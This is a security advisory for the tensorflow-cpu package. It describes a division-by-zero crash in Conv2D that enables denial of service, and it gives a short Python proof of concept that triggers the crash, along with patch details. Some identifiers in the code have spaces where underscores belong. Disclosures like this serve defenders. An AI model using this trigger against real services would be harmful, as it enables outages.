PT-2026-59975 · Pypi · Tensorflow-Cpu

Published

2026-07-13

·

Updated

2026-07-13

CVSS v3.1

5.9

Medium

VectorAV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact

If Conv2D is given empty input and the filter and padding sizes are valid, the output is all-zeros. This causes division-by-zero floating point exceptions that can be used to trigger a denial of service attack.
python
import tensorflow as tf
import numpy as np
with tf.device("CPU"): # also can be triggerred on GPU
  input = np.ones([1, 0, 2, 1])
  filter = np.ones([1, 1, 1, 1])
  strides = ([1, 1, 1, 1])
  padding = "EXPLICIT"
  explicit paddings = [0 , 0, 1, 1, 1, 1, 0, 0]
  data format = "NHWC"
  res = tf.raw ops.Conv2D(
    input=input,
    filter=filter,
    strides=strides,
    padding=padding,
    explicit paddings=explicit paddings,
    data format=data format,
 )

Patches

We have patched the issue in GitHub commit 611d80db29dd7b0cfb755772c69d60ae5bca05f9.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Jingyi Shi.

Fix

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Related Identifiers

PYSEC-2026-3361

Affected Products

Tensorflow-Cpu